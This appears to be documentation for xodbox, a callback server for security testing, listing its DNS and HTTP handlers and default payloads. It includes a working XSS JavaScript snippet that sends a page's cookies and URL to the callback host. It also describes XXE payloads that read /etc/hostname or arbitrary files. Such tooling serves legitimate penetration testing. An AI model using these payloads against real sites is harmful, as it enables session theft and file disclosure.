Handlers are services that listen on ports and respond to requests.
This is the multi-page printable view of this section. Click here to print.
Handlers
- 1: DNS
- 2: HTTPX
- 2.1: Default Payloads Seeds
- 2.1.1: Default Header
- 2.1.2: Redirect
- 2.1.3: Robots TXT
- 2.1.4: Inspect
- 2.1.5: XSS HTML
- 2.1.6: XSS JavaScript
- 2.1.7: Default Favicon
- 2.1.8: HTML Iframe
- 2.1.9: Open Graph
- 2.1.10: XXE Callback
- 2.1.11: XXE DTD
- 2.1.12: XXE SVG Hostname
- 2.1.13: XXE SVG Passwd
- 2.1.14: XXE SVG Request Params
- 2.1.15: XXE System
- 2.1.16: Default Page
- 2.1.17: In Development Seeds
- 2.1.17.1: WPAD
- 2.2: Example Payloads
- 2.2.1: List Payloads
1 - DNS
Configuration
Key | Values |
---|---|
handler | Must be DNS |
listener | Default :53 |
default_ip | An IP address default will be whatever is detected as the server’s public IP. |
2 - HTTPX
Purpose
Speak HTTP to other computers you may or may not control….
Configuration
Key | Values |
---|---|
handler | Must be HTTPX |
listener | Default :80 |
static_dir | Directory to host static files from |
payload_dir | Directory to import payloads from |
WIP configs that are not fully implemented
Key | Values |
---|---|
tls_domains | Comma seperated list of domains |
acme_staging | Boolean. Shortcut to use https://acme-staging-v02.api.letsencrypt.org/directory |
acme_directory_url | Override URL |
autocert_accept_tos | Boolean. Do you accept the CAs TOS? |
Additional Information
Things are still being created, documented, and fine-tuned.
New Features
- Let’s Encrypt Auto Cert
- Exfil data saver
Legacy Functionality to be implemented.
- robots.txt
- unfurly
- arbitrary json
- b64
- redirect
- b64
- basic auth
- breakfastbot
- allow origin *
Legacy functionality that isnt specific to a handler
- alert pattern with payload
- alert pattern (alert patterns are part of notifiers, maybe we need to expose alert patterns based on handler type)
- slack hook (this is now a notifier)
2.1 - Default Payloads Seeds
Default payloads that come with xodbox.
2.1.1 - Default Header
Adds an HTTP header to all HTTP responses.
Example Request
curl -i http://xodbox.test/
Example Response
Server: BreakfastBot/1.0.0
2.1.2 - Redirect
HTTP Redirects to the query parameter l
using the query param s
as the status code.
What | Description | GET Parameters |
---|---|---|
Location | Location to redirect to | l |
Status | HTTP status code | s |
Example Request
curl -i "http://xodbox.test/redir?l=https://github.com/defektive/xodbox&s=301"
Example Response
Location: https://github.com/defektive/xodbox
2.1.3 - Robots TXT
Simple robots txt to prevent indexing.
Example Request
curl http://xodbox.test/robots.txt
Example Response
User-Agent: *
Disallow: /
2.1.4 - Inspect
Depends on an internal code
/inspect
Inspect or reflect the request back in various formats.
- Plain Text (default, .txt)
- HTML (.html, .html)
- GIF (.gif)
- JPEG (.jpg)
- PNG (.png)
- MP4 (.mp4)
- XML (.xml)
- JSON (.json)
- Javascript (.js)
Examples
- http://localhost/inspect
- http://localhost/some/random/path/inspect.gif
2.1.6 - XSS JavaScript
/jsc
Simple JS Payload. Useful form embedding or quickly copying and modifying for an XSS payload to prove execution and exfil.
(function (){
var s = document.createElement("img");
document.body.appendChild(s);
s.src="//{{ .Host }}/jscb?src="+window.location+"&c="+document.cookie;
})()
2.1.7 - Default Favicon
Redirects to the embedded default logo, exposed via embedded fs.
Example Request
curl -i http://xodbox.test/favicon.ico
2.1.9 - Open Graph
Useful for unfurlers. Maybe we should merge this into inspect…
Example Request
curl -i "http://xodbox.test/unfurl"
Example Response
Location: https://github.com/defektive/xodbox
2.1.10 - XXE Callback
XXE Callback used by xxe-system
2.1.11 - XXE DTD
/dt
A vulnerable application for testing is in ../../../../cmd/xodbox-validator
/evil.dtd
dtd for use by others
2.1.12 - XXE SVG Hostname
/sh
attempts to get /etc/hostname
SVG with XXE payloads
2.1.14 - XXE SVG Request Params
/sv
attempts to get whatever files is supplied via the f
query parameter
2.1.15 - XXE System
/dt
A vulnerable application for testing is in ../../../../cmd/xodbox-validator
2.1.16 - Default Page
Adds an HTTP header to all HTTP responses.
Example Request
curl -i http://xodbox.test/
Example Response
hi
2.1.17 - In Development Seeds
Seeds that are not tested or finished.
2.1.17.1 - WPAD
WPAD Proxy. Not really useful at the moment. Should be more useful in the future
2.2 - Example Payloads
Default payloads that come with xodbox.
2.2.1 - List Payloads
List Payloads
---
title: List Payloads
description: List payloads
weight: 1
pattern: /i-forgot-how-things-work$
is_final: true
data:
headers:
Content-Type: text/plain
body: |
Payloads
{{ range .Payloads }}
{{ .Pattern }} - {{ .Name }} [{{ .Type }}]
{{ .Description }}
{{ end }}
---